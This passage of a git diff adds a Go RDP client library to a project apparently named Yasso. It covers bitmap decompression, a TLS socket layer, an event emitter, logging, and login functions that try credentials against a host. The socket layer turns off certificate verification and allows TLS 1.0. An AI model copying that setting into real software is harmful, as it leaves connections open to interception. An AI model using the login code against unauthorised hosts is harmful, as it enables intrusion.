if (mask & mixmask) +// line[x] = mix; +// else +// line[x] = 0; +// ) +// }else{ +// REPEAT +// ( +// MASK_UPDATE(); +// if (mask & mixmask) +// line[x] = prevline[x] ^ mix; +// else +// line[x] = prevline[x]; +// ) +// } +// break; +// case 3: /* Colour */ +// REPEAT(line[x] = colour2) +// break; +// case 4: /* Copy */ +// REPEAT(line[x] = CVAL(input)) +// break; +// case 8: /* Bicolour */ +// REPEAT +// ( +// if (bicolour) +// { +// line[x] = colour2; +// bicolour = false; +// } +// else +// { +// line[x] = colour1; +// bicolour = true; count++; +// } +// ) +// break; +// case 0xd: /* White */ +// REPEAT(line[x] = 0xff) +// break; +// case 0xe: /* Black */ +// REPEAT(line[x] = 0) +// break; +// default: +// fmt.Printf("bitmap opcode 0x%x\n", opcode); +// return false; +// } +// } +// } +// return true; +// } + +// /* 2 byte bitmap decompress */ +func decompress2(output *[]uint8, width, height int, input []uint8, size int) bool { + var ( + prevline, line int + opcode, count, offset, code int + x int = width + lastopcode int = -1 + insertmix, bicolour, isfillormix bool + mixmask, mask uint8 + colour1, colour2 uint16 + mix uint16 = 0xffff + fom_mask uint8 + ) + + out := make([]uint16, width*height) + for len(input) != 0 { + fom_mask = 0 + code = CVAL(&input) + opcode = code >> 4 + /* Handle different opcode forms */ + switch opcode { + case 0xc, 0xd, 0xe: + opcode -= 6 + count = code & 0xf + offset = 16 + break + case 0xf: + opcode = code & 0xf + if opcode < 9 { + count = CVAL(&input) + count |= CVAL(&input) << 8 + } else { + count = 1 + if opcode < 0xb { + count = 8 + } + } + offset = 0 + break + default: + opcode >>= 1 + count = code & 0x1f + offset = 32 + break + } + + /* Handle strange cases for counts */ + if offset != 0 { + isfillormix = ((opcode == 2) || (opcode == 7)) + if count == 0 { + if isfillormix { + count = CVAL(&input) + 1 + } else { + count = CVAL(&input) + offset + } + } else if isfillormix { + count <<= 3 + } + } + /* Read preliminary data */ + switch opcode { + case 0: /* Fill */ + if (lastopcode == opcode) && !((x == width) && (prevline == 0)) { + insertmix = true + } + break + case 8: /* Bicolour */ + CVAL2(&input, &colour1) + CVAL2(&input, &colour2) + break + case 3: /* Colour */ + CVAL2(&input, &colour2) + break + case 6: /* SetMix/Mix */ + fallthrough + case 7: /* SetMix/FillOrMix */ + CVAL2(&input, &mix) + opcode -= 5 + break + case 9: /* FillOrMix_1 */ + mask = 0x03 + opcode = 0x02 + fom_mask = 3 + break + case 0x0a: /* FillOrMix_2 */ + mask = 0x05 + opcode = 0x02 + fom_mask = 5 + break + } + lastopcode = opcode + mixmask = 0 + /* Output body */ + for count > 0 { + if x >= width { + if height <= 0 { + return false + } + + x = 0 + height-- + prevline = line + line = height * width + } + switch opcode { + case 0: /* Fill */ + if insertmix { + if prevline == 0 { + out[x+line] = mix + } else { + out[x+line] = out[prevline+x] ^ mix + } + insertmix = false + count-- + x++ + } + if prevline == 0 { + REPEAT(func() { + out[x+line] = 0 + }, &count, &x, width) + } else { + REPEAT(func() { + out[x+line] = out[prevline+x] + }, &count, &x, width) + } + break + case 1: /* Mix */ + if prevline == 0 { + REPEAT(func() { + out[x+line] = mix + }, &count, &x, width) + } else { + REPEAT(func() { + out[x+line] = out[prevline+x] ^ mix + }, &count, &x, width) + } + break + case 2: /* Fill or Mix */ + if prevline == 0 { + REPEAT(func() { + mixmask <<= 1 + if mixmask == 0 { + mask = fom_mask + if fom_mask == 0 { + mask = uint8(CVAL(&input)) + mixmask = 1 + } + } + if mask&mixmask != 0 { + out[x+line] = mix + } else { + out[x+line] = 0 + } + }, &count, &x, width) + } else { + REPEAT(func() { + mixmask = mixmask << 1 + if mixmask == 0 { + mask = fom_mask + if fom_mask == 0 { + mask = uint8(CVAL(&input)) + mixmask = 1 + } + } + if mask&mixmask != 0 { + out[x+line] = out[prevline+x] ^ mix + } else { + out[x+line] = out[prevline+x] + } + }, &count, &x, width) + } + break + case 3: /* Colour */ + REPEAT(func() { + out[x+line] = colour2 + }, &count, &x, width) + break + case 4: /* Copy */ + REPEAT(func() { + var a uint16 + CVAL2(&input, &a) + out[x+line] = a + }, &count, &x, width) + + break + case 8: /* Bicolour */ + REPEAT(func() { + if bicolour { + out[x+line] = colour2 + bicolour = false + } else { + out[x+line] = colour1 + bicolour = true + count++ + } + }, &count, &x, width) + + break + case 0xd: /* White */ + REPEAT(func() { + out[x+line] = 0xffff + }, &count, &x, width) + break + case 0xe: /* Black */ + REPEAT(func() { + out[x+line] = 0 + }, &count, &x, width) + break + default: + glog.Infof("bitmap opcode 0x%x\n", opcode) + return false + } + } + } + j := 0 + for _, v := range out { + (*output)[j], (*output)[j+1] = PutUint16BE(v) + j += 2 + } + return true +} + +// /* 3 byte bitmap decompress */ +// func bitmap_decompress3(uint8 * output, int width, int height, uint8 * input, int size)bool{ +// uint8 *end = input + size; +// uint8 *prevline = NULL, *line = NULL; +// int opcode, count, offset, isfillormix, x = width; +// int lastopcode = -1, insertmix = false, bicolour = false; +// uint8 code; +// uint8 colour1[3] = {0, 0, 0}, colour2[3] = {0, 0, 0}; +// uint8 mixmask, mask = 0; +// uint8 mix[3] = {0xff, 0xff, 0xff}; +// int fom_mask = 0; + +// while (input < end) +// { +// fom_mask = 0; +// code = CVAL(input); +// opcode = code >> 4; +// /* Handle different opcode forms */ +// switch (opcode) +// { +// case 0xc: +// case 0xd: +// case 0xe: +// opcode -= 6; +// count = code & 0xf; +// offset = 16; +// break; +// case 0xf: +// opcode = code & 0xf; +// if (opcode < 9) +// { +// count = CVAL(input); +// count |= CVAL(input) << 8; +// } +// else +// { +// count = (opcode < +// 0xb) ? 8 : 1; +// } +// offset = 0; +// break; +// default: +// opcode >>= 1; +// count = code & 0x1f; +// offset = 32; +// break; +// } +// /* Handle strange cases for counts */ +// if (offset != 0) +// { +// isfillormix = ((opcode == 2) || (opcode == 7)); +// if (count == 0) +// { +// if (isfillormix) +// count = CVAL(input) + 1; +// else +// count = CVAL(input) + offset; +// } +// else if (isfillormix) +// { +// count <<= 3; +// } +// } +// /* Read preliminary data */ +// switch (opcode) +// { +// case 0: /* Fill */ +// if ((lastopcode == opcode) && !((x == width) && (prevline == NULL))) +// insertmix = true; +// break; +// case 8: /* Bicolour */ +// colour1[0] = CVAL(input); +// colour1[1] = CVAL(input); +// colour1[2] = CVAL(input); +// case 3: /* Colour */ +// colour2[0] = CVAL(input); +// colour2[1] = CVAL(input); +// colour2[2] = CVAL(input); +// break; +// case 6: /* SetMix/Mix */ +// case 7: /* SetMix/FillOrMix */ +// mix[0] = CVAL(input); +// mix[1] = CVAL(input); +// mix[2] = CVAL(input); +// opcode -= 5; +// break; +// case 9: /* FillOrMix_1 */ +// mask = 0x03; +// opcode = 0x02; +// fom_mask = 3; +// break; +// case 0x0a: /* FillOrMix_2 */ +// mask = 0x05; +// opcode = 0x02; +// fom_mask = 5; +// break; +// } +// lastopcode = opcode; +// mixmask = 0; +// /* Output body */ +// while (count > 0) +// { +// if (x >= width) +// { +// if (height <= 0) +// return false; +// x = 0; +// height--; +// prevline = line; +// line = output + height * (width * 3); +// } +// switch (opcode) +// { +// case 0: /* Fill */ +// if (insertmix) +// { +// if (prevline == NULL) +// { +// line[x * 3] = mix[0]; +// line[x * 3 + 1] = mix[1]; +// line[x * 3 + 2] = mix[2]; +// } +// else +// { +// line[x * 3] = +// prevline[x * 3] ^ mix[0]; +// line[x * 3 + 1] = +// prevline[x * 3 + 1] ^ mix[1]; +// line[x * 3 + 2] = +// prevline[x * 3 + 2] ^ mix[2]; +// } +// insertmix = false; +// count--; +// x++; +// } +// if (prevline == NULL) +// { +// REPEAT +// ( +// line[x * 3] = 0; +// line[x * 3 + 1] = 0; +// line[x * 3 + 2] = 0; +// ) +// } +// else +// { +// REPEAT +// ( +// line[x * 3] = prevline[x * 3]; +// line[x * 3 + 1] = prevline[x * 3 + 1]; +// line[x * 3 + 2] = prevline[x * 3 + 2]; +// ) +// } +// break; +// case 1: /* Mix */ +// if (prevline == NULL) +// { +// REPEAT +// ( +// line[x * 3] = mix[0]; +// line[x * 3 + 1] = mix[1]; +// line[x * 3 + 2] = mix[2]; +// ) +// } +// else +// { +// REPEAT +// ( +// line[x * 3] = +// prevline[x * 3] ^ mix[0]; +// line[x * 3 + 1] = +// prevline[x * 3 + 1] ^ mix[1]; +// line[x * 3 + 2] = +// prevline[x * 3 + 2] ^ mix[2]; +// ) +// } +// break; +// case 2: /* Fill or Mix */ +// if (prevline == NULL) +// { +// REPEAT +// ( +// MASK_UPDATE(); +// if (mask & mixmask) +// { +// line[x * 3] = mix[0]; +// line[x * 3 + 1] = mix[1]; +// line[x * 3 + 2] = mix[2]; +// } +// else +// { +// line[x * 3] = 0; +// line[x * 3 + 1] = 0; +// line[x * 3 + 2] = 0; +// } +// ) +// } +// else +// { +// REPEAT +// ( +// MASK_UPDATE(); +// if (mask & mixmask) +// { +// line[x * 3] = +// prevline[x * 3] ^ mix [0]; +// line[x * 3 + 1] = +// prevline[x * 3 + 1] ^ mix [1]; +// line[x * 3 + 2] = +// prevline[x * 3 + 2] ^ mix [2]; +// } +// else +// { +// line[x * 3] = +// prevline[x * 3]; +// line[x * 3 + 1] = +// prevline[x * 3 + 1]; +// line[x * 3 + 2] = +// prevline[x * 3 + 2]; +// } +// ) +// } +// break; +// case 3: /* Colour */ +// REPEAT +// ( +// line[x * 3] = colour2 [0]; +// line[x * 3 + 1] = colour2 [1]; +// line[x * 3 + 2] = colour2 [2]; +// ) +// break; +// case 4: /* Copy */ +// REPEAT +// ( +// line[x * 3] = CVAL(input); +// line[x * 3 + 1] = CVAL(input); +// line[x * 3 + 2] = CVAL(input); +// ) +// break; +// case 8: /* Bicolour */ +// REPEAT +// ( +// if (bicolour) +// { +// line[x * 3] = colour2[0]; +// line[x * 3 + 1] = colour2[1]; +// line[x * 3 + 2] = colour2[2]; +// bicolour = false; +// } +// else +// { +// line[x * 3] = colour1[0]; +// line[x * 3 + 1] = colour1[1]; +// line[x * 3 + 2] = colour1[2]; +// bicolour = true; +// count++; +// } +// ) +// break; +// case 0xd: /* White */ +// REPEAT +// ( +// line[x * 3] = 0xff; +// line[x * 3 + 1] = 0xff; +// line[x * 3 + 2] = 0xff; +// ) +// break; +// case 0xe: /* Black */ +// REPEAT +// ( +// line[x * 3] = 0; +// line[x * 3 + 1] = 0; +// line[x * 3 + 2] = 0; +// ) +// break; +// default: +// fmt.Printf("bitmap opcode 0x%x\n", opcode); +// return false; +// } +// } +// } +// return true; +// } + +/* decompress a colour plane */ +func processPlane(in *[]uint8, width, height int, output *[]uint8, j int) int { + var ( + indexw int + indexh int + code int + collen int + replen int + color int + x int + revcode int + lastline int + thisline int + ) + ln := len(*in) + + lastline = 0 + indexh = 0 + i := 0 + for indexh < height { + thisline = j + (width * height * 4) - ((indexh + 1) * width * 4) + color = 0 + indexw = 0 + i = thisline + + if lastline == 0 { + for indexw < width { + code = CVAL(in) + replen = code & 0xf + collen = (code >> 4) & 0xf + revcode = (replen << 4) | collen + if (revcode <= 47) && (revcode >= 16) { + replen = revcode + collen = 0 + } + for collen > 0 { + color = CVAL(in) + (*output)[i] = uint8(color) + i += 4 + + indexw++ + collen-- + } + for replen > 0 { + (*output)[i] = uint8(color) + i += 4 + indexw++ + replen-- + } + } + } else { + for indexw < width { + code = CVAL(in) + replen = code & 0xf + collen = (code >> 4) & 0xf + revcode = (replen << 4) | collen + if (revcode <= 47) && (revcode >= 16) { + replen = revcode + collen = 0 + } + for collen > 0 { + x = CVAL(in) + if x&1 != 0 { + x = x >> 1 + x = x + 1 + color = -x + } else { + x = x >> 1 + color = x + } + x = int((*output)[indexw*4+lastline]) + color + (*output)[i] = uint8(x) + i += 4 + indexw++ + collen-- + } + for replen > 0 { + x = int((*output)[indexw*4+lastline]) + color + (*output)[i] = uint8(x) + i += 4 + indexw++ + replen-- + } + } + } + indexh++ + lastline = thisline + } + return ln - len(*in) +} + +/* 4 byte bitmap decompress */ +func decompress4(output *[]uint8, width, height int, input []uint8, size int) bool { + var ( + code int + onceBytes, total int + ) + + code = CVAL(&input) + if code != 0x10 { + return false + } + + total = 1 + onceBytes = processPlane(&input, width, height, output, 3) + total += onceBytes + + onceBytes = processPlane(&input, width, height, output, 2) + total += onceBytes + + onceBytes = processPlane(&input, width, height, output, 1) + total += onceBytes + + onceBytes = processPlane(&input, width, height, output, 0) + total += onceBytes + + return size == total +} + +/* main decompress function */ +func Decompress(input []uint8, width, height int, Bpp int) []uint8 { + size := width * height * Bpp + output := make([]uint8, size) + switch Bpp { + case 1: + //decompress1(output, width, height, input, size) + case 2: + decompress2(&output, width, height, input, size) + case 3: + //decompress3(output, width, height, input, size) + case 4: + decompress4(&output, width, height, input, size) + default: + glog.Infof("Bpp %d\n", Bpp) + } + + return output +} diff --git a/pkg/grdp/core/rle_test.go b/pkg/grdp/core/rle_test.go new file mode 100644 index 0000000..192edfd --- /dev/null +++ b/pkg/grdp/core/rle_test.go @@ -0,0 +1,10 @@ +// rle_test.go +package core + +//func TestSum() { +// input := []byte{ +// 192, 44, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8, 0, 19, 132, 232, 8, 12, 50, 142, 66, 77, 58, 208, 59, 225, 25, 1, 0, 0, 0, 0, 0, 0, 0, 132, 139, 33, 142, 66, 142, 66, 142, 66, 208, 59, 4, 43, 1, 0, 0, 0, 0, 0, 0, 0, 132, 203, 41, 142, 66, 142, 66, 142, 66, 208, 59, 96, 0, 1, 0, 0, 0, 0, 0, 0, 0, 132, 9, 17, 142, 66, 142, 66, 142, 66, 208, 59, 230, 27, 1, 0, 0, 0, 0, 0, 0, 0, 132, 200, 8, 9, 17, 139, 33, 74, 25, 243, 133, 14, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8, +// } +// out := decompress(input, 64, 64, 2) +// fmt.Println(out) +//} diff --git a/pkg/grdp/core/socket.go b/pkg/grdp/core/socket.go new file mode 100644 index 0000000..31b2f86 --- /dev/null +++ b/pkg/grdp/core/socket.go @@ -0,0 +1,75 @@ +package core + +import ( + "crypto/rsa" + "math/big" + + "github.com/huin/asn1ber" + + //"crypto/tls" + "errors" + "net" + + "github.com/icodeface/tls" +) + +type SocketLayer struct { + conn net.Conn + tlsConn *tls.Conn +} + +func NewSocketLayer(conn net.Conn) *SocketLayer { + l := &SocketLayer{ + conn: conn, + tlsConn: nil, + } + return l +} + +func (s *SocketLayer) Read(b []byte) (n int, err error) { + if s.tlsConn != nil { + return s.tlsConn.Read(b) + } + return s.conn.Read(b) +} + +func (s *SocketLayer) Write(b []byte) (n int, err error) { + if s.tlsConn != nil { + return s.tlsConn.Write(b) + } + return s.conn.Write(b) +} + +func (s *SocketLayer) Close() error { + if s.tlsConn != nil { + err := s.tlsConn.Close() + if err != nil { + return err + } + } + return s.conn.Close() +} + +func (s *SocketLayer) StartTLS() error { + config := &tls.Config{ + InsecureSkipVerify: true, + MinVersion: tls.VersionTLS10, + MaxVersion: tls.VersionTLS13, + PreferServerCipherSuites: true, + } + s.tlsConn = tls.Client(s.conn, config) + return s.tlsConn.Handshake() +} + +type PublicKey struct { + N *big.Int `asn1:"explicit,tag:0"` // modulus + E int `asn1:"explicit,tag:1"` // public exponent +} + +func (s *SocketLayer) TlsPubKey() ([]byte, error) { + if s.tlsConn == nil { + return nil, errors.New("TLS conn does not exist") + } + pub := s.tlsConn.ConnectionState().PeerCertificates[0].PublicKey.(*rsa.PublicKey) + return asn1ber.Marshal(*pub) +} diff --git a/pkg/grdp/core/types.go b/pkg/grdp/core/types.go new file mode 100644 index 0000000..736f5ea --- /dev/null +++ b/pkg/grdp/core/types.go @@ -0,0 +1,21 @@ +package core + +import "Yasso/pkg/grdp/emission" + +type Transport interface { + Read(b []byte) (n int, err error) + Write(b []byte) (n int, err error) + Close() error + + On(event, listener interface{}) *emission.Emitter + Once(event, listener interface{}) *emission.Emitter + Emit(event interface{}, arguments ...interface{}) *emission.Emitter +} + +type FastPathListener interface { + RecvFastPath(secFlag byte, s []byte) +} + +type FastPathSender interface { + SendFastPath(secFlag byte, s []byte) (int, error) +} diff --git a/pkg/grdp/core/util.go b/pkg/grdp/core/util.go new file mode 100644 index 0000000..fd0189e --- /dev/null +++ b/pkg/grdp/core/util.go @@ -0,0 +1,52 @@ +package core + +import ( + "crypto/rand" + "encoding/binary" + "unicode/utf16" +) + +func Reverse(s []byte) []byte { + for i, j := 0, len(s)-1; i < j; i, j = i+1, j-1 { + s[i], s[j] = s[j], s[i] + } + return s +} + +func Random(n int) []byte { + const alpha = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + var bytes = make([]byte, n) + rand.Read(bytes) + for i, b := range bytes { + bytes[i] = alpha[b%byte(len(alpha))] + } + return bytes +} + +func convertUTF16ToLittleEndianBytes(u []uint16) []byte { + b := make([]byte, 2*len(u)) + for index, value := range u { + binary.LittleEndian.PutUint16(b[index*2:], value) + } + return b +} + +// s.encode('utf-16le') +func UnicodeEncode(p string) []byte { + return convertUTF16ToLittleEndianBytes(utf16.Encode([]rune(p))) +} + +func UnicodeDecode(p []byte) string { + b := make([]byte, 2) + n := make([]uint16, 0, len(p)/2) + for i, v := range p { + if i%2 == 0 { + b[0] = v + } else { + b[1] = v + a := binary.LittleEndian.Uint16(b) + n = append(n, a) + } + } + return string(utf16.Decode(n)) +} diff --git a/pkg/grdp/emission/emitter.go b/pkg/grdp/emission/emitter.go new file mode 100644 index 0000000..0434fde --- /dev/null +++ b/pkg/grdp/emission/emitter.go @@ -0,0 +1,273 @@ +// Package emission provides an event emitter. +// copy form https://raw.githubusercontent.com/chuckpreslar/emission/master/emitter.go +// fix issue with nest once + +package emission + +import ( + "errors" + "fmt" + "os" + "reflect" + "sync" +) + +// Default number of maximum listeners for an event. +const DefaultMaxListeners = 10 + +// Error presented when an invalid argument is provided as a listener function +var ErrNoneFunction = errors.New("Kind of Value for listener is not Func.") + +// RecoveryListener ... +type RecoveryListener func(interface{}, interface{}, error) + +// Emitter ... +type Emitter struct { + // Mutex to prevent race conditions within the Emitter. + *sync.Mutex + // Map of event to a slice of listener function's reflect Values. + events map[interface{}][]reflect.Value + // Optional RecoveryListener to call when a panic occurs. + recoverer RecoveryListener + // Maximum listeners for debugging potential memory leaks. + maxListeners int + + // Map of event to a slice of listener function's reflect Values. + onces map[interface{}][]reflect.Value +} + +// AddListener appends the listener argument to the event arguments slice +// in the Emitter's events map. If the number of listeners for an event +// is greater than the Emitter's maximum listeners then a warning is printed. +// If the relect Value of the listener does not have a Kind of Func then +// AddListener panics. If a RecoveryListener has been set then it is called +// recovering from the panic. +func (emitter *Emitter) AddListener(event, listener interface{}) *Emitter { + emitter.Lock() + defer emitter.Unlock() + + fn := reflect.ValueOf(listener) + + if reflect.Func != fn.Kind() { + if nil == emitter.recoverer { + panic(ErrNoneFunction) + } else { + emitter.recoverer(event, listener, ErrNoneFunction) + } + } + + if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.events[event])+1 { + fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+ + "number of listeners of %d.\n", event, emitter.maxListeners) + } + + emitter.events[event] = append(emitter.events[event], fn) + + return emitter +} + +// On is an alias for AddListener. +func (emitter *Emitter) On(event, listener interface{}) *Emitter { + return emitter.AddListener(event, listener) +} + +// RemoveListener removes the listener argument from the event arguments slice +// in the Emitter's events map. If the reflect Value of the listener does not +// have a Kind of Func then RemoveListener panics. If a RecoveryListener has +// been set then it is called after recovering from the panic. +func (emitter *Emitter) RemoveListener(event, listener interface{}) *Emitter { + emitter.Lock() + defer emitter.Unlock() + + fn := reflect.ValueOf(listener) + + if reflect.Func != fn.Kind() { + if nil == emitter.recoverer { + panic(ErrNoneFunction) + } else { + emitter.recoverer(event, listener, ErrNoneFunction) + } + } + + if events, ok := emitter.events[event]; ok { + newEvents := []reflect.Value{} + + for _, listener := range events { + if fn.Pointer() != listener.Pointer() { + newEvents = append(newEvents, listener) + } + } + + emitter.events[event] = newEvents + } + + if events, ok := emitter.onces[event]; ok { + newEvents := []reflect.Value{} + + for _, listener := range events { + if fn.Pointer() != listener.Pointer() { + newEvents = append(newEvents, listener) + } + } + + emitter.onces[event] = newEvents + } + + return emitter +} + +// Off is an alias for RemoveListener. +func (emitter *Emitter) Off(event, listener interface{}) *Emitter { + return emitter.RemoveListener(event, listener) +} + +// Once generates a new function which invokes the supplied listener +// only once before removing itself from the event's listener slice +// in the Emitter's events map. If the reflect Value of the listener +// does not have a Kind of Func then Once panics. If a RecoveryListener +// has been set then it is called after recovering from the panic. +func (emitter *Emitter) Once(event, listener interface{}) *Emitter { + emitter.Lock() + defer emitter.Unlock() + + fn := reflect.ValueOf(listener) + + if reflect.Func != fn.Kind() { + if nil == emitter.recoverer { + panic(ErrNoneFunction) + } else { + emitter.recoverer(event, listener, ErrNoneFunction) + } + } + + if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.onces[event])+1 { + fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+ + "number of listeners of %d.\n", event, emitter.maxListeners) + } + + emitter.onces[event] = append(emitter.onces[event], fn) + return emitter +} + +// Emit attempts to use the reflect package to Call each listener stored +// in the Emitter's events map with the supplied arguments. Each listener +// is called within its own go routine. The reflect package will panic if +// the agruments supplied do not align the parameters of a listener function. +// If a RecoveryListener has been set then it is called after recovering from +// the panic. +func (emitter *Emitter) Emit(event interface{}, arguments ...interface{}) *Emitter { + var ( + listeners []reflect.Value + ok bool + ) + + // Lock the mutex when reading from the Emitter's + // events map. + emitter.Lock() + + if listeners, ok = emitter.events[event]; !ok { + // If the Emitter does not include the event in its + // event map, it has no listeners to Call yet. + emitter.Unlock() + goto ONCES + } + + // Unlock the mutex immediately following the read + // instead of deferring so that listeners registered + // with Once can aquire the mutex for removal. + emitter.Unlock() + emitter.callListeners(listeners, event, arguments...) + +ONCES: + // execute onces + emitter.Lock() + if listeners, ok = emitter.onces[event]; !ok { + emitter.Unlock() + return emitter + } + emitter.Unlock() + emitter.callListeners(listeners, event, arguments...) + // clear executed listeners + emitter.onces[event] = emitter.onces[event][len(listeners):] + return emitter +} + +func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface{}, arguments ...interface{}) { + var wg sync.WaitGroup + + wg.Add(len(listeners)) + + for _, fn := range listeners { + go func(fn reflect.Value) { + defer wg.Done() + + // Recover from potential panics, supplying them to a + // RecoveryListener if one has been set, else allowing + // the panic to occur. + if nil != emitter.recoverer { + defer func() { + if r := recover(); nil != r { + err := fmt.Errorf("%v", r) + emitter.recoverer(event, fn.Interface(), err) + } + }() + } + + var values []reflect.Value + + for i := 0; i < len(arguments); i++ { + if arguments[i] == nil { + values = append(values, reflect.New(fn.Type().In(i)).Elem()) + } else { + values = append(values, reflect.ValueOf(arguments[i])) + } + } + + fn.Call(values) + }(fn) + } + + wg.Wait() +} + +// RecoverWith sets the listener to call when a panic occurs, recovering from +// panics and attempting to keep the application from crashing. +func (emitter *Emitter) RecoverWith(listener RecoveryListener) *Emitter { + emitter.recoverer = listener + return emitter +} + +// SetMaxListeners sets the maximum number of listeners per +// event for the Emitter. If -1 is passed as the maximum, +// all events may have unlimited listeners. By default, each +// event can have a maximum number of 10 listeners which is +// useful for finding memory leaks. +func (emitter *Emitter) SetMaxListeners(max int) *Emitter { + emitter.Lock() + defer emitter.Unlock() + + emitter.maxListeners = max + return emitter +} + +// GetListenerCount gets count of listeners for a given event. +func (emitter *Emitter) GetListenerCount(event interface{}) (count int) { + emitter.Lock() + if listeners, ok := emitter.events[event]; ok { + count = len(listeners) + } + emitter.Unlock() + return +} + +// NewEmitter returns a new Emitter object, defaulting the +// number of maximum listeners per event to the DefaultMaxListeners +// constant and initializing its events map. +func NewEmitter() (emitter *Emitter) { + emitter = new(Emitter) + emitter.Mutex = new(sync.Mutex) + emitter.events = make(map[interface{}][]reflect.Value) + emitter.maxListeners = DefaultMaxListeners + emitter.onces = make(map[interface{}][]reflect.Value) + return +} diff --git a/pkg/grdp/glog/log.go b/pkg/grdp/glog/log.go new file mode 100644 index 0000000..2161b21 --- /dev/null +++ b/pkg/grdp/glog/log.go @@ -0,0 +1,107 @@ +package glog + +import ( + "fmt" + "log" + "sync" +) + +func init() { + +} + +var ( + logger *log.Logger + level LEVEL + mu sync.Mutex +) + +type LEVEL int + +const ( + DEBUG LEVEL = iota + INFO + WARN + ERROR + NONE +) + +func SetLogger(l *log.Logger) { + l.SetFlags(log.Ldate | log.Ltime | log.Lshortfile) + logger = l +} + +func SetLevel(l LEVEL) { + level = l +} + +func checkLogger() { + if logger == nil && level != NONE { + panic("logger not inited") + } +} + +func Debug(v ...interface{}) { + checkLogger() + if level <= DEBUG { + mu.Lock() + defer mu.Unlock() + logger.SetPrefix("[DEBUG]") + logger.Output(2, fmt.Sprintln(v...)) + } +} +func Debugf(f string, v ...interface{}) { + checkLogger() + if level <= DEBUG { + mu.Lock() + defer mu.Unlock() + logger.SetPrefix("[DEBUG]") + logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...))) + } +} +func Info(v ...interface{}) { + checkLogger() + if level <= INFO { + mu.Lock() + defer mu.Unlock() + logger.SetPrefix("[INFO]") + logger.Output(2, fmt.Sprintln(v...)) + } +} +func Infof(f string, v ...interface{}) { + checkLogger() + if level <= INFO { + mu.Lock() + defer mu.Unlock() + logger.SetPrefix("[INFO]") + logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...))) + } +} +func Warn(v ...interface{}) { + checkLogger() + if level <= WARN { + mu.Lock() + defer mu.Unlock() + logger.SetPrefix("[WARN]") + logger.Output(2, fmt.Sprintln(v...)) + } +} + +func Error(v ...interface{}) { + checkLogger() + if level <= ERROR { + mu.Lock() + defer mu.Unlock() + logger.SetPrefix("[ERROR]") + logger.Output(2, fmt.Sprintln(v...)) + } +} +func Errorf(f string, v ...interface{}) { + checkLogger() + if level <= ERROR { + mu.Lock() + defer mu.Unlock() + logger.SetPrefix("[ERROR]") + logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...))) + } +} diff --git a/pkg/grdp/grdp.go b/pkg/grdp/grdp.go new file mode 100644 index 0000000..2f6dfbb --- /dev/null +++ b/pkg/grdp/grdp.go @@ -0,0 +1,241 @@ +package grdp + +import ( + "errors" + "fmt" + "log" + "net" + "os" + "sync" + "time" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/glog" + "Yasso/pkg/grdp/protocol/nla" + "Yasso/pkg/grdp/protocol/pdu" + "Yasso/pkg/grdp/protocol/rfb" + "Yasso/pkg/grdp/protocol/sec" + "Yasso/pkg/grdp/protocol/t125" + "Yasso/pkg/grdp/protocol/tpkt" + "Yasso/pkg/grdp/protocol/x224" +) + +const ( + PROTOCOL_RDP = "PROTOCOL_RDP" + PROTOCOL_SSL = "PROTOCOL_SSL" +) + +type Client struct { + Host string // ip:port + tpkt *tpkt.TPKT + x224 *x224.X224 + mcs *t125.MCSClient + sec *sec.Client + pdu *pdu.Client + vnc *rfb.RFB +} + +func NewClient(host string, logLevel glog.LEVEL) *Client { + glog.SetLevel(logLevel) + logger := log.New(os.Stdout, "", 0) + glog.SetLogger(logger) + return &Client{ + Host: host, + } +} + +func (g *Client) LoginForSSL(domain, user, pwd string) error { + conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second) + if err != nil { + return fmt.Errorf("[dial err] %v", err) + } + defer conn.Close() + glog.Info(conn.LocalAddr().String()) + + g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) + g.x224 = x224.New(g.tpkt) + g.mcs = t125.NewMCSClient(g.x224) + g.sec = sec.NewClient(g.mcs) + g.pdu = pdu.NewClient(g.sec) + + g.sec.SetUser(user) + g.sec.SetPwd(pwd) + g.sec.SetDomain(domain) + + g.tpkt.SetFastPathListener(g.sec) + g.sec.SetFastPathListener(g.pdu) + g.pdu.SetFastPathSender(g.tpkt) + + err = g.x224.Connect() + if err != nil { + return fmt.Errorf("[x224 connect err] %v", err) + } + glog.Info("wait connect ok") + wg := &sync.WaitGroup{} + breakFlag := false + wg.Add(1) + + g.pdu.On("error", func(e error) { + err = e + glog.Error("error", e) + g.pdu.Emit("done") + }) + g.pdu.On("close", func() { + err = errors.New("close") + glog.Info("on close") + g.pdu.Emit("done") + }) + g.pdu.On("success", func() { + err = nil + glog.Info("on success") + g.pdu.Emit("done") + }) + g.pdu.On("ready", func() { + glog.Info("on ready") + g.pdu.Emit("done") + }) + g.pdu.On("update", func(rectangles []pdu.BitmapData) { + glog.Info("on update:", rectangles) + }) + g.pdu.On("done", func() { + if breakFlag == false { + breakFlag = true + wg.Done() + } + }) + wg.Wait() + return err +} + +func (g *Client) LoginForRDP(domain, user, pwd string) error { + conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second) + if err != nil { + return fmt.Errorf("[dial err] %v", err) + } + defer conn.Close() + glog.Info(conn.LocalAddr().String()) + + g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) + g.x224 = x224.New(g.tpkt) + g.mcs = t125.NewMCSClient(g.x224) + g.sec = sec.NewClient(g.mcs) + g.pdu = pdu.NewClient(g.sec) + + g.sec.SetUser(user) + g.sec.SetPwd(pwd) + g.sec.SetDomain(domain) + + g.tpkt.SetFastPathListener(g.sec) + g.sec.SetFastPathListener(g.pdu) + g.pdu.SetFastPathSender(g.tpkt) + + g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) + + err = g.x224.Connect() + if err != nil { + return fmt.Errorf("[x224 connect err] %v", err) + } + glog.Info("wait connect ok") + wg := &sync.WaitGroup{} + breakFlag := false + updateCount := 0 + wg.Add(1) + + g.pdu.On("error", func(e error) { + err 